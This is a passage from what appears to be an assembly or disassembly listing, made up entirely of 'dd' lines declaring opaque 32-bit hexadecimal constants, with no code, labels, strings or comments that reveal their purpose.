191F4D3Fh, 0E8D93E09h, 1E90277h dd 0F659F5F3h, 88885045h, 0B4E74BD8h, 0F0798872h, 6A62582Eh dd 0F63DF546h, 48099746h, 0B5FE7F5h, 0EB07E7C1h, 251C1E3Eh dd 4B13C557h, 20C22809h, 3E7B0F81h, 0FA1D6F46h, 0DE9603CCh dd 19AF04EBh, 0FC29679Ah, 5A084055h, 0AD0B8B29h, 200F8708h dd 0EE10C96h, 558E68F3h, 93A26FE1h, 8566F1C4h, 0A80050Eh dd 21F2AEF7h, 816193DFh, 0C0CBBE16h, 0BB0E1A43h, 65DB5486h dd 0A422F329h, 25B15CB0h, 0A7616C12h, 16257F62h, 0D073E2FBh dd 308204DAh, 0D4AA5C08h, 5B0809CFh, 0D6E9C7F4h, 9D6A642h dd 7F7E7580h, 0D5F3AC67h, 0C23EEE41h, 163D68F7h, 2F8822F1h dd 27502DF6h, 57CAE31Ch, 8ECF18FEh, 1276CD4Fh, 1B0629h dd 95D636BEh, 0EF65096Eh, 0B320D3E6h, 58C21EABh, 0E35F5CA1h dd 7066D3DFh, 0C01B2CB4h, 44D4CBD3h, 8872F207h, 6BAB5DABh dd 0EE0C67D6h, 0EECF2D46h, 6D20B7F1h, 4F731D20h, 0A55B0FF4h dd 25E69FFh, 0EDA29DDFh, 4FE171E2h, 3CAB2A26h, 0FC9AD795h dd 4A049C95h, 0E709EE5Ch, 50F7E086h, 842AE552h, 79D4C711h dd 460C6857h, 474E1E9h, 5543DE5Dh, 0BE00DA3Dh, 21781BAAh dd 2E1DE681h, 0FEE85D0Eh, 1A4E849Ah, 0F373E7F8h, 5C8A9830h dd 4585CCD7h, 92E9E20Dh, 9EBAA316h, 0D5E93FC7h, 104D6DC0h dd 0E24A6B5Eh, 47301614h, 5A8741A2h, 0E88BE555h, 0FB0BD3F2h dd 0B7DAF80Eh, 0E8325F50h, 5CFD7135h, 0C531771h, 0E737D9F3h dd 8558EF95h, 21A2B7E9h, 35F8259h, 95700052h, 0BA3D2A12h dd 0B51714F2h, 0A904312Dh, 290903A8h, 4896C475h, 0A9408066h dd 64789754h, 5A7E7C95h, 0D233F87Fh, 0D89DA115h, 0EC8534Eh dd 1E790A6Ch, 32DD8F0Eh, 0AA635FD2h, 0E918C313h, 8E3B7C0Ch dd 86C21647h, 4F46B20h dd 6869096Bh, 0AC645141h, 0EBBD5502h, 0C171E066h, 16068A6Bh dd 89531E07h, 14C24D18h, 881AA335h, 0DFABD1C6h, 25683564h dd 0BBE64E31h, 7B305A30h, 0F1592EBh, 0CB297BDFh, 25C1A9A9h dd 0FF777F59h, 0B6633E3h, 0C67681Ch, 3C79B974h, 0AE18656Bh dd 0FDFA3F92h, 0BD6040D1h, 507F17B7h, 0C3E316h, 81366723h dd 64EF6E1h, 0F9BC115Fh, 0FBDFD13Ch, 9D688C40h, 0B8740879h dd 8CAC5E57h, 91413A02h, 47D1E447h, 0E4EC4356h, 0A92EE171h dd 1A68A01Ah, 0C16CAB32h, 0DA6E617Ah, 20E21024h, 305B6609h dd 9C52875Dh, 576CA9BBh, 7E97D896h, 68D74C99h, 23B34A4Fh dd 58134C42h, 0E3CAAA53h, 0D060B292h, 7F2302A6h, 964143D2h dd 685200D1h, 46A464B3h, 0D6B4F75Ah, 1043302h, 9A89C072h dd 507D3005h, 0AA1BD418h, 0D789DB0Bh, 169C755Ah, 4F5B7EC1h dd 0B56F6045h, 0A408047Ah, 0D4417FEBh, 5418525h, 0A4F47CEFh dd 8872968Bh, 2500AA03h, 444B6845h, 3F690535h, 8081639Fh dd 65F3A9Dh, 2DE1295Bh, 0CC10804h, 3055081Ah, 0A09F7409h dd 120A2DB3h, 0B8084EC6h, 0C6EC5F84h, 367368C2h, 3012EAA2h dd 0EF26264Ch, 6E834741h, 0A80F4E5Eh, 0EBE64D9Eh, 1C1047Eh dd 90A3BACAh, 6132A75Eh, 0F5E95D1Fh, 0B483238h, 3E84CB0Eh dd 0C30E43ACh, 0B44063Eh, 7E07E3C1h, 2AB807C6h, 0EF01F46Fh dd 4AE959B4h, 9A91A405h, 35F57304h, 3E81D629h, 0FC6D4E34h dd 239BEB02h, 6C56622h, 3453BD81h, 28834B3Ah, 0F6C2EE3h dd 5DB1840Eh, 9A29EF55h, 1C080D1Ch, 86E91400h, 0A581BEC4h dd 68571BA0h, 0AA7442B0h, 0FA295F12h, 0F7453AF0h, 28BF23B1h dd 0C9BA3C0Ch, 9126069h, 0C75E5EF0h, 0E374B2CBh, 6286B277h dd 6211D1FFh, 0EED51754h, 64BE0F1Dh, 6B74906h, 4CFA132Ch dd 1266FC9Fh, 802C81C1h, 0BCED60F1h, 0FEE66844h, 0A2A34A50h dd 574789EEh, 0D2F210A0h, 2B7B1834h, 5E353F38h, 0FEB494BCh dd 30B0E587h, 0BDC7FDE9h, 0E80B3465h, 0B0F059C9h, 110568BBh dd 0E961B2B1h, 0D02A8529h, 0D474EA6Fh, 890CF32Fh, 0C13BDF9Eh dd 10B83415h, 29212792h, 0DA14F74Ah, 10B95448h, 68095ECBh dd 37965D1h, 9C718D81h, 0F178574Ch, 0BDE99505h, 8A1196DAh dd 451DBE0Fh, 0A7708528h, 3BC59240h, 0F62A1704h, 5D366072h dd 20D65EFh, 0DA215B1Fh, 6840BE49h, 0B854CC70h, 15F3B94h dd 979250BFh, 92BFBC37h, 80352614h, 0B850DDF7h, 0E24900EAh dd 3C193540h, 7EBD23ABh, 4D9B3FFCh, 21E8244Fh, 0C1283454h dd 3337FEE8h, 36D0561Fh, 0F47E0E55h, 141C6BD1h, 76C4A07h dd 5BC357E3h, 1CB241F9h, 9969DD6Eh, 0FB8154BEh, 47753F87h dd 7046CE1h, 9B2000ECh, 3F685909h, 91E457Bh, 0DBF0C8E9h dd 180B0575h, 521F8C3h, 0C85CFFDDh, 9EBBBD4h, 7F316BDBh dd 0B0074F84h, 0C5B33B6h, 0D92D3DEEh, 0F47579EEh, 48AB22AAh dd 0C780A6D4h, 3A3167A8h, 0F7E0E347h, 507618FAh, 0DBCD0C7Bh dd 5C77B327h, 5344012h, 0E918404Bh, 0E67B060Eh, 0F9101E07h dd 0FC3BCD12h, 97A16E5Ah, 1C4F6099h, 2F93F969h, 0ADE3FC40h dd 9877D938h, 0FCD4807Fh, 0DE8780C7h, 0C64EEAEEh, 4B218528h dd 0DE6AADDBh, 4AF09ED7h, 22FE6B9h, 0E1C12E98h, 46614106h dd 0C1F92FA5h, 0D84BCB9Eh, 0A2F3D66h, 5D17BAADh, 0ADB857D1h dd 0AF337FD4h, 5C54D7D9h, 0A46E4A53h, 5FE7C117h, 0C02BC8CAh dd 53F329A3h, 97092ABAh, 8509B831h, 704EEDDh, 0BAE38E9h dd 0C6775C78h, 52BA056Ch, 85558B72h, 0DF44AE36h, 3E81EF29h dd 0E93AE15Ch, 0B1518261h, 3E4DDA0h, 9B06DC65h, 82C10909h dd 0FDA2B56h, 0EC22F4CCh, 0E3280909h, 91810458h, 12CFB8C3h dd 0AA8C87DBh, 6123EB4h, 0C016B450h, 0DFE650E4h, 79FA62BFh dd 6E1B820Ch, 0FA805797h, 69FC680Dh, 161378BFh, 0BFCF22E9h dd 0BD3E4499h, 16FBE4AAh, 52A8974Fh, 4740B70Ah, 0DB9FBB79h dd 915508BDh, 2E640B3Eh, 1D0F5447h, 6A8D8017h, 3E94F681h dd 0E91B590Fh, 4CDDD3BAh, 0E9A3607Eh, 29A9615h, 4D781C02h dd 61C80138h, 0F105C327h, 4CEC6F83h, 0B27E7900h, 135EE9A7h dd 0E6402E9Fh, 4F6B25F9h, 58ECF9EBh, 0C9EDB4ADh, 0A0E9A24Eh dd 0D3B727E9h, 0E80EA12h, 4A730A3Eh, 2C5EBF2Ah, 0ABE35B5h dd 12113369h, 0B07AFC5Bh, 2968D231h, 0BCE47D13h, 0BB03B2Dh dd 8C064003h, 0C9B6E925h, 0F8745AE1h, 4188D362h, 6F6041C7h dd 4F3F79B4h, 8493CC2Ch, 0B3535000h, 0E9D888DCh, 0B18067ACh dd 0C39D72E8h, 5BD5E6FDh, 5FA7E9F5h, 0FF2D3C32h, 0E0E972A2h dd 0D8771CCAh, 0EF172DCh, 0D0F659C8h, 25DC6EBh, 11B39A3h dd 0F428D305h, 0F0280153h, 0FDF8072Dh, 1225597Fh, 0B515785Eh dd 0C25F0D0Bh, 0AA108237h, 8BDEC545h, 26DE535Eh, 72B68E1h dd 3160A14Dh, 21F998Ch, 29146D50h, 0AD21737Fh, 5C959058h dd 874E4245h, 7720FEF2h, 580BB7B1h, 4D266554h, 2E1F3781h dd 983F5D64h, 414B39CEh, 20D7C340h, 53290AD3h, 313B13EEh dd 0B24030C1h, 93E2224Bh, 0D9010518h, 2505D8F7h, 3DAD32C6h dd 0CA68B891h, 0FEE901E2h, 0D9AD6F8Dh, 8A56FFF4h, 0BE97B6E9h dd 498C08C8h, 0FB93456Bh, 30E9EACCh, 0ED5DB0A2h, 6B2FB162h dd 0CFD048F6h, 0E512041Dh, 0A858E93Fh, 0BFA64BF6h, 16CD5D1Bh dd 0B72BCFDh, 46218068h, 85C54B92h, 0AC18A878h, 82C0B45Eh dd 151E4D03h, 0F8A5CCD6h, 0E90B80BBh, 0F4DC5E50h, 5F1202A4h dd 760B4E96h, 619EA2AEh, 5BABF43Dh, 30227600h, 0CD0169C7h dd 65E0B757h, 23BE5B12h, 0FD743509h, 0ACA8A80Fh, 57EDD100h dd 5B2D8968h, 4A3A914h, 219253EBh, 899C4CC6h, 0FC41CD08h dd 4152AA73h, 3897C454h, 0BD70B495h, 0A4561256h, 0B44F5529h dd 7A60B17Ah, 5CE2AEB8h, 91E7655h, 6EFDE86Ch, 68E71B85h dd 0BE84EA92h, 80FF3324h, 0C0B1F533h, 101A569Dh, 0DC2924E2h dd 6049942Eh, 0B4BD0412h, 0D097BBD9h, 0E71229F7h, 753E68E0h dd 3820C697h, 0FE4A52BBh, 27813374h, 468EB7B4h, 0E45BC288h dd 3B23ACADh, 0C8309CF6h, 408C198h, 0BE2CE401h, 0A75251A3h dd 3DB2C53Eh, 0CA635CCCh, 0FCBB505Ah, 0E3C2E2CAh, 577B42FFh dd 737DDF32h, 3E6CEB67h, 0D7733418h, 6BF7D31Eh, 0E3C408DAh dd 0A0B1490h, 7D2AB53Bh, 0D6E97068h, 567089B7h, 511F0239h dd 40400925h, 0E70B7B1Ch, 0DDC531E6h, 923F5997h, 40FF5DEEh dd 4F03C7ABh, 0DE9F4BE2h, 93082066h, 121326F8h, 645DCC54h dd 9DF3E13h, 45BBD352h, 0BF27D2BEh, 0FC098A71h, 0BD82412Ah dd 39AC30h, 60BF50F1h, 67A81866h, 17B6E0Fh, 68081CD0h dd 51BE141Ch, 7EC03A20h, 9227DE77h, 60EC9C72h, 72E9575Eh dd 0BB78AE60h, 4CF1EC0h, 0F1F38148h, 0E9DF8056h, 199FAB5Ah dd 1164E5FDh, 45C00E05h, 0F3A17933h, 611D2D2Fh, 78FD28Eh dd 0E9091134h, 0FCD13CFAh, 8F2FCE82h, 9D5E7812h, 20E9F15Bh dd 7865ED37h, 0CE1FC3Ch, 7E322026h, 12722F0Ch, 0C1593Eh dd 68524107h, 4DBB7B2Ah, 815BE02Eh, 194ADDCh, 13BE6C1h dd 846FCF77h, 0D257300Bh, 74507317h, 416099AFh, 7E2265C7h dd 0B593A237h, 1028971h, 8BF88FEh, 0BB555D0Ah, 0AD286100h dd 0C263BD1Fh, 7444E90Bh, 0E824AEAh, 0C0824F5Fh, 5E06F6BAh dd 50BE256Ah, 3A1E3164h, 0EDCA0B33h, 0E7C08520h, 725460Ah dd 0E949D1F7h, 187DB955h, 16FEC765h, 44D9CEDh, 0FC86E9C2h dd 0ABF00D7h, 0F7176712h dd 304764D7h, 1F678003h, 0C5B62F4h, 5498D3C6h, 7BF9707h dd 51CE1A15h, 3BEBBE47h, 5553C223h, 0F24209C7h, 0FA8BCE7Dh dd 6D02B7ABh, 1A416FB8h, 0A6A16E63h, 6BA4273Bh, 0E7A2A47Fh dd 84CFFE07h, 0C050C0F9h, 801204E1h, 20CCDAE9h, 17CE7288h dd 0F0595AF3h, 285E2F3Ch, 0ACD264EBh, 464D1072h, 10775C2Dh dd 9130D48Fh, 241A6BEh, 2C377AB1h, 530C7950h, 258119E9h dd 0B00B95FBh, 30A707F1h, 9F443789h, 0CDB53566h, 9CE9854Ch dd 0D7C0AC13h, 15B2E4F8h, 0E89130F8h, 5A805544h, 5A0A6F89h dd 120EC61Eh, 8303B774h, 0E781473Eh, 3FA5D1D3h, 0FDE9F141h dd 0C0BA007Fh, 0B15106E0h, 0ECE8725Fh, 1FB96809h, 0A899DD9h dd 970E4486h, 834A041Ah, 2A696161h, 17429A47h, 1B31117h dd 0C16448E6h, 0BBF74112h, 12B9B631h, 0B889AF14h, 5980A060h dd 0E9895B2Eh, 99103D8Bh, 1E7C2CB3h, 83CF74BDh, 23FE1187h dd 66F60C09h, 0BCBD02E1h, 0D2535FEEh, 0C3ECFC27h, 572D8469h dd 0D9AEEBEBh, 0DF28E745h, 0F78FBB93h, 19DA4C74h, 0C404038Fh dd 0E92BDCFh, 0BEA104BAh, 9C6198CAh, 187EF598h, 0FA787338h dd 5D8A400Fh, 4E2EEEBDh, 0C49CA258h, 50088BDh, 29912E4h dd 1A0B58EAh, 105F03B3h, 0F7C30195h, 0F7055B4Eh, 0FA6D68F9h dd 0E2A9B45h, 4C9569EEh, 712D6854h, 101275h, 821A7EF2h dd 86BE015Dh, 1A27DE5h, 0BFB33AFEh, 0BFA5E938h, 91019875h dd 1C82B309h, 14A4949h, 10D6B381h, 57AB20CFh, 7A765C95h dd 0D83209A2h, 618D92FDh, 8B7C1EFFh, 0C2465EC9h, 2525FAB7h dd 6998D3EEh, 0EA95C5A6h, 59EBFDACh, 6E44A2D9h, 7F021249h dd 7122EA96h, 45FA9E47h, 0A2B4EA45h, 29B209BBh, 0E4555F05h dd 3F060330h, 0D8E960A5h, 212F28E6h, 287BF8h, 0B08A22Dh dd 0C64E89F1h, 0F702D48Bh, 1CBF68DEh, 9F20F5ECh, 0E3E91323h dd 594CF302h, 12C84866h, 4CF6EBDh, 96FB4C78h, 3B85E977h dd 0F854575Ah, 7E3A06E9h, 33A7445h, 682F6C82h, 2D6D5F7h dd 1FABC148h, 92AF46E9h, 9B7AD74Ch, 7D83C425h, 7AB46910h dd 12E00B48h, 82537C29h, 0EC7201FBh, 2E53B021h, 1162C1F2h dd 53CA26E9h, 0A4C4477Fh, 0D1C5968Fh, 6A87F5D8h, 0D1FB7385h dd 8255A9B3h, 463AC61Dh, 0D480FF03h, 3CC81FF5h, 0DEA0C0B8h dd 0B2D3F4Bh, 2E0FE44h, 34D46698h, 6029E080h, 500B4817h dd 0F21D28E9h, 0FEDFD351h, 0C44B4688h, 83CB0115h, 0E28927Ah dd 7827C35Ah, 0CA1A48B7h, 46F51D7Eh, 0C2287C29h, 0CD429508h dd 0E06CEBF7h, 2629274Eh, 10DB4273h, 21EF5A85h, 24597BFEh dd 5C4BB6D4h, 0F6928AF3h, 6B2956E6h, 0EE36DD12h, 1808F827h dd 0BE671368h, 3CCD60D5h, 0F29D49A1h, 726DE67Bh, 0FC5C9044h dd 3D691497h, 10279B53h, 57F638E8h, 280A4906h, 0E6E6EEC1h dd 80722616h, 40B413DEh, 138CBE4Ch, 0F2F67DD1h, 2E0C2B5h dd 0BAFAC82h, 0C4100057h, 5365F1Bh, 377E75BEh, 0BAA5BA1Ah dd 2E94C1D3h, 1F2CE6D8h, 702336Fh, 5906C3CEh, 0A148DC8Bh dd 87B8D301h, 4E703FFBh, 2D685358h, 0FCE634B5h, 5F257F7Ch dd 0F5FD07Eh, 8F8CEC3Dh, 1457EEF2h, 0E9573CEAh, 7DDC2225h dd 434B1810h, 5B1D8F24h, 0AF117B03h, 40C0527h, 0A8E4D657h dd 406A3F51h, 5058BD31h, 978D804Bh, 56254D2h, 0B331CE68h dd 0D0965068h, 7F8A557Dh, 0D80E4284h, 0D96003A7h, 380CEEF7h dd 18B88Ch, 0AA41B3C6h, 0E9F3896Fh, 7D5F220h, 0BA55862Dh dd 2F45344h, 0EE055EE8h, 0EB41DEE7h, 512C7463h, 88A5B501h dd 665059ECh, 76D41090h, 0CBF880F2h, 0E9CF14C1h, 92BE9005h dd 3C07BF8Eh, 74FE0987h, 6A31AA5Fh, 0BD34F0E9h, 59982E04h dd 34230E6h, 5805B050h, 0C8FE1524h, 5A8E385h, 52575B0Dh dd 0F27824A3h, 290D6E4h, 1024D80Ch, 26F5EA43h, 80437F25h dd 704D52FFh, 504AF329h, 21A3D0BEh, 0E6985AD3h, 6C02C37Ah dd 0E9517254h, 4D47E2Dh, 0FB06E3C0h, 73CB8EE0h, 0ACC33860h dd 66E9DE04h, 8EFCAC48h, 2DD08058h, 0D21B7D9h, 0A5DCE96Eh dd 7F7820B3h, 0BA4415FBh, 8337067Dh, 72AA0104h, 8CB3EB61h dd 9055E62Bh, 12E4649Eh, 621C366h, 6A88B7C9h, 0FF059C49h dd 0FEB3672Eh, 8BBC7152h, 0F3CBE05h, 0C1C9FB5Ch, 279D1DCCh dd 0E850F66Eh, 225E40CEh, 0D7238CE9h, 6810779Ch, 0E90B01B3h dd 0B8737EBDh, 0A87DAABDh, 0DC776825h, 0C0B2CF56h, 0D7EA80A6h dd 55D1302Fh, 3028AB07h, 39E9362Ch, 811A9658h, 0CD87D1F7h dd 3575ABEDh, 0E365FA2Bh, 9CEE3D13h, 55701ECCh, 7B435C9Fh dd 6BE920B4h, 3016C578h, 8F10BCBh, 77EC61D5h, 3028D8C1h dd 88A141D3h, 4859C1E9h, 0E6B4866Dh, 4A569536h, 239741BDh dd 3A027C15h, 2F2E7500h, 0A1FB2972h, 940BECCh, 0BF5EF589h dd 5FC7C651h, 81C4C3C6h, 0B82B5826h, 0F168E15Eh, 0F87FA9FEh dd 413B097Bh, 61541412h, 166E4259h, 970501E0h, 2E779110h dd 135094BCh, 324C09F5h, 678F2C0Ch, 0E46BE6A2h, 0F52529F4h dd 618E6F16h, 9652E917h, 6FD11360h, 7D2B0C8h, 6E2935CFh dd 2AF76001h, 4250B808h, 0ECE8318Eh, 0F42E709Dh, 0FF9AB762h dd 0B3AEB660h, 0AFA147B7h, 7F744810h, 344948B7h, 450291BFh dd 0FE76D75Ch, 0FC90578Bh, 0BD3D36DEh, 4AB1A63Bh, 0C0024B9Ah dd 4C69BE15h, 4A1086F9h, 46B902E0h, 0DA9E44B5h, 93E52457h dd 6CD95359h, 2CD73938h, 25899B03h, 6ED7B076h, 0B0F58295h dd 0BDDF6863h, 2309FE4Ch, 0F5032256h, 0E66C08AEh, 0E902960h dd 570C780Dh, 45600C3Ch, 50EC0218h, 7B67E7B8h, 8BF004D7h dd 8E5947BEh, 0B46F7707h, 4C82FD75h, 5DD8104Bh, 5D02900h dd 10CF7C30h, 0BC915A5Ah, 5006C216h, 0A0B7D17Ah, 0B81E9685h dd 0F0E2F43Ch, 24470BCAh, 98F85DE5h, 0BD6E9B0Bh, 79AD000Ah dd 0B91BE88h, 215AD631h, 0AC240493h, 2D005C66h, 6305E8D1h dd 39A22536h, 140BD056h, 0C30BD6D7h, 8100AE9Ah, 4B7A9EF6h dd 0CDF18905h, 54DAD150h, 3A2DFA41h, 0F0A4913Eh, 0BD6B096Eh dd 12E9836Ah, 0B5430BA7h, 888EC07Fh, 0BD82F6CBh, 465F5901h dd 8B41E57h, 0D0CC39C0h, 76A09820h, 80320D09h, 7CB05039h dd 0FDEE8113h, 8327D077h, 2A4499BEh, 7A0C0419h, 87B2AFC0h dd 0B0651E24h, 80D0BA5Fh, 271D16E6h, 0E2DC79A4h, 0BBFDA502h dd 0DEE46AADh, 9D770CCFh, 0A39843C0h, 0C194B35Eh, 9540B213h dd 0DF1086F6h, 0AE52C156h, 0BA313F44h, 0E8478F70h, 0C7F18720h dd 5122E5B3h, 38621A7Dh, 0C87F2925h, 4FA1E97Fh, 0C47BE3CCh dd 680392DBh, 1512126Bh, 2BC84415h, 86044401h, 0A0119D2h dd 541B0FF4h, 0B5437BECh, 29F0FDE4h, 7F8B099Dh, 8201A687h dd 0BDE20603h, 6F18488Fh, 5FBC66D7h, 0E153046Bh, 0BF9349E8h dd 0EC4B5A9Eh, 8300F484h, 12F27214h, 0CEDA58F7h, 7053982Fh dd 4FCB4F3Ah, 3479BF01h, 304F2BB5h, 0C0DD0206h, 0B6112D4Eh dd 412BEh, 0CD53D743h, 0EF13315Bh, 50E0895Dh, 0BFD24AA9h dd 0E912E2DFh, 0E1ABCDEDh, 0EBC7C665h, 0DD2418A5h, 0EE59975Bh dd 98002DA4h, 2913DF7Ah, 17B9B8C3h, 0EC58A568h, 555C39Bh dd 5F539AA4h, 3282B4E5h, 0F5309C7Ah, 45C2E3E8h, 0A704F04h dd 90BA60E9h, 0BF47F5C9h, 61F64225h, 93A27B5h, 0A7FD2D43h dd 0CEB35B5Dh, 0D50987A8h, 0D695781Eh, 9456502Ah, 0BD5D5C80h dd 7569AA56h, 0E956AC10h, 52864825h, 0EE313926h, 0C609F533h dd 0D9E9F0C0h, 35CA815Bh dd 7E80EE02h, 0A406DCDh, 0BE75455Dh, 3FFC7CB5h, 280B22E8h dd 0D11783D5h, 72B55E9h, 6020BA51h, 0EA814CC9h, 2236F709h dd 0E913C06Ah, 807DEF7Eh, 38543709h, 0E2C51687h, 5AC89B1Ch dd 6E2652DFh, 0B309C734h, 8354D6FCh, 63B26194h, 3F8DF4D9h dd 0F39E8FACh, 3E045A0Eh, 3A701EB0h, 85150BAh, 37E95E05h dd 15B3FBCBh, 0C1EFB293h, 503736E9h, 5C86EA40h, 68021F32h dd 0BCBABD0h, 0EB7237FCh, 772F430Ch, 0C9FB3260h, 65D4F96Ch dd 0AF9AE72Fh, 0DD25F674h, 0E6E1CABBh, 0C7306899h, 27BF7CC5h dd 0BAFA89EEh, 0F78B541Bh, 6B5A0BC0h, 0CB44B562h, 14988E81h dd 0FB19EBA9h, 30E56DC2h, 275BEADEh, 40F0C5CCh, 0F17F3139h dd 0FD7E0625h, 27C9D710h, 0DE754D24h, 4B4F9A13h, 0C1603221h dd 92D776Fh, 95E95358h, 0F87ED5A9h, 2DC0F02Ch, 486F76DCh dd 26750B17h, 3EF57BEFh, 2B680750h, 2C7559Ch, 6F9313F4h dd 0F39E8580h, 570307FCh, 0D83DCDBFh, 96C7E075h, 0B023F673h dd 303FFE52h, 790C4732h, 4E0CDD6Ch, 56975FE9h, 0BA0D0048h dd 5469927h, 0AC017D12h, 1EF03547h, 726C61FAh, 0F14FE909h dd 98AFE455h, 16EF0529h, 80490A05h, 0D40A22Ah, 0C9015EB8h dd 2C373277h, 0DA89E9C1h, 0F6F6067Ah, 0E5F277D2h, 0B3814EBDh dd 2A428B8h, 3952EA1h, 0C4F7CA29h, 0F75B17C8h, 1C72E0D9h dd 0DF0AB02Dh, 0E0F59912h, 0C064E171h, 0C005D859h, 275CD46h dd 16616700h, 0BE565345h, 0F47004A0h, 0AAEED13Eh, 0AB3F6904h dd 8E864B8Dh, 7210DC78h, 0F0B038A1h, 41766940h, 65562A35h dd 0F4C704AFh, 10BA142Ch, 6809F0FCh, 0B6B25A4Fh, 6A74CA5Dh dd 0B98202F4h, 0AC998C12h, 5B6F34E9h, 15D8AF57h, 8FF74829h dd 38578127h, 94353B34h, 7C3A827Eh, 65FD3FC9h, 97142D31h dd 9E919C4h, 0BD02A6F8h, 5A185B54h, 20B4585Fh, 59588C51h dd 89B74A4Dh, 2BF5708h, 7A46E985h, 2FF4D052h, 0E29C5B7Eh dd 0C92B8B52h, 0DADCCD10h, 0D190A8C5h, 0F4094E5Ah, 0F248817Eh dd 0DEC71229h, 4C48D9FCh, 0C5DC4627h, 5ACE50E9h, 0E030F889h dd 0B309A968h, 40540267h, 18E07217h, 493320D2h, 0E0030C26h dd 5101107Ah, 806F5D1h, 214820Ch, 4802E18Ch, 3B5F107h dd 0E9684F42h, 0AF858596h, 5C8BF8F7h, 0EE00C6DEh, 7DC13A88h dd 355A9DE9h, 0E0BE4E58h, 4BD75BE9h, 134CE016h, 0CAECCB7Ch dd 911F857Fh, 0B924C117h, 46B4303Ch, 0F780D6B1h, 0A06F30FDh dd 0B5C7D89h, 85ADD2A0h, 309ECC13h, 4A65BE72h, 763C795Ch dd 509D2E54h, 5417D13h, 383A01ABh, 60C286B7h, 538133E2h dd 0EEE029E5h, 4B259E3Bh, 0AAFDE868h, 9CDD91B5h, 0D4788EE4h dd 0A84F4D75h, 843E51D4h, 666E0429h, 3DC6A484h, 4EECBF50h dd 0CC4F75F8h, 0F87E2DBFh, 56BD9272h, 2CF6E0F0h, 3E5CBB61h dd 0B1221810h, 98F9F319h, 890D2D1Ah, 5189B4E5h, 9639D15Bh dd 13F7E331h, 0FDB95FD2h, 0A5EFA897h, 2EE0EC00h, 381033Eh dd 3F09B1E3h, 10B6D123h, 47383309h, 0F8A4DF73h, 9441487h dd 0EA108209h, 8D405491h, 455FB8C5h, 0B27A9577h, 30E893B3h dd 72826FA1h, 26EDC079h, 4B48971Fh, 4014A801h, 0F325E908h dd 40C479A6h, 0EA1CB4E3h, 30FF464Bh, 0AA342F1Eh, 1E20E9F6h dd 0A0875A9Dh, 205BC178h, 0EED629A9h, 0C6946091h, 92EE8B7Ah dd 0E6B1230Bh, 49FEB4A8h, 35DB7E80h, 56606B25h, 0E9602A3Ch dd 0B25F9753h, 129F43B5h, 0AAB06E96h, 2F51F828h, 0D5F8C189h dd 7772586Bh, 4D27ECC6h, 92DB5971h, 0EFC68546h, 8CC494A2h dd 747BD615h, 2D1F70B7h, 0CE6040Ah, 0C7F8565Fh, 0FABA12B4h dd 79884D39h, 0BB02AC1Bh, 61D9011Eh, 39CFA58Ah, 0C337D86Fh dd 0F9B5B708h, 7651E45Ch, 4B542848h, 0FE28BA5Fh, 6FBD413Ah dd 136690E0h, 0BD20EA68h, 0B6520A5Ah, 0A114A5ECh, 6168C492h dd 0CF165DADh, 10D2F35Ch, 0C04ABB4Bh, 142EE184h, 954F312Eh dd 80018410h, 0CBFE9CF3h, 0EB8820F6h, 0FEB768B2h, 700159A9h dd 194B75D3h, 0CD5F33B3h, 27C36008h, 0E0C7EA62h, 0C19F0C03h dd 28EFB75Ah, 1D9A4143h, 0F9255776h, 3B16DDC2h, 8297BDFCh dd 62CE01FCh, 0A42357E5h, 0BFBC8359h, 5C2FF1CBh, 10E0C6C4h dd 0EE7886AAh, 0FB54710Dh, 0B87FE650h, 93A3B18Bh, 0E404EC3Fh dd 0BE5A19CBh, 0B57E42Bh, 8C99D113h, 5531687Ch, 0B8641D21h dd 1E7B9739h, 0D6726EF9h, 3B11ADC0h, 0A8B198D2h, 1F81B8A2h dd 1198254h, 1A770DD8h, 0CBF4CAA0h, 0B6363501h, 268F850h dd 48BB0D10h, 72FB077Ah, 7BB3AC33h, 0D0BD0F52h, 5D25505Ah dd 0AE141388h, 8DD2665Eh, 794133A1h, 0F66D2158h, 1EDE522Fh dd 73C7DE27h, 11022EF3h, 31537BBBh, 6FE05F27h, 55BE8C1h dd 33154EFh, 25893910h, 1CF7D666h, 7AEBC343h, 0C080B551h dd 0DDF606EDh, 79B0F5FCh, 0F30BD24Bh, 7C13A95Ch, 2142CCFh dd 77D48533h, 0A89C8AF7h, 5F615316h, 402FBC66h, 4B735150h dd 5501520Ch, 0FC5F5C68h, 0C9705D49h, 0D8F9E03h, 64E37F17h dd 371A02E9h, 0BF25B71h, 20C4FA07h, 42CB582h, 0C60CAF60h dd 9BD3CA3h, 37E7D4Ah, 0F81600FFh, 0BC729B45h, 2ED101Fh dd 1979D9E5h, 0FA12C059h, 1A4E58FBh, 92E9EB0Bh, 0EA2D39A0h dd 4A5F674Dh, 58076110h, 9BE982C7h, 0D5A975C3h, 2F2A9E09h dd 951A00D8h, 0F931086Ah, 0C2D958A1h, 9A40DF09h, 0E2602043h dd 524BCE82h, 0E90F0BF4h, 2A5A303Ch, 5BBEF15Dh, 680964CAh dd 799A4026h, 29B398F5h, 0CDE913FEh, 4E2DAAA0h, 4BA71860h dd 0E361BE80h, 0FA4174B5h, 312B3468h, 7EE2E93Ah, 3F16EF4h dd 2D679E60h, 0AFE9C831h, 92176646h, 0E9BDC8FFh, 2321F627h dd 74BEC362h, 46EE048Bh, 0C2C1147Ah, 3C604EC9h, 0A22D42BAh dd 587E70EDh, 0AD027F50h, 8162B761h, 0E4F316C0h, 6BBE89E4h dd 0CEA2FF0Dh, 0BAFB24h, 209F53D9h, 7F62B850h, 2913AB0Bh dd 8833E5C2h, 2D13E4E1h, 52743F9h, 5FB04DF2h, 0DBD8305Ch dd 76EED170h, 0ED8416Bh, 31F3D2Ah, 0AD6B002h, 0BA352AE9h dd 522731D2h, 775A369h, 753459A2h, 78FECA4Ch, 9BABD40h dd 39700B4Bh, 412513A0h, 0C01BE35h, 0BB26C30Dh, 0DAD84842h dd 1FF3097Dh, 3D4136E9h, 0CEA22A66h, 6D62BF58h, 0BB1808E5h dd 0DE1217E3h, 5C70F033h, 31F9B802h, 442065E9h, 21E509D3h dd 0ECF6448Eh, 3B0D688h, 0EA497DBFh, 5B62FC85h, 5F7C79B0h dd 10E28A95h, 5F256769h, 5A9FB155h, 0D678BD3Ah, 0EA84EBB8h dd 0F5121E72h, 0DC23B331h, 30825802h, 58802805h, 16856313h dd 0A4021198h, 895838D5h, 0F11A60D9h, 0A082B840h, 0FA0E9B2h dd 87617E62h, 8DEF786h, 0DD3F683Ch, 0B6909C45h, 0BFE68101h dd 3868977Ah, 0F99810A1h, 6267094Bh, 40BD7E70h, 24562D0Dh dd 3561857h, 0FF10393h, 0C25E1E0h, 0D55DE828h, 75B7AC4Ah dd 0AD24EA48h, 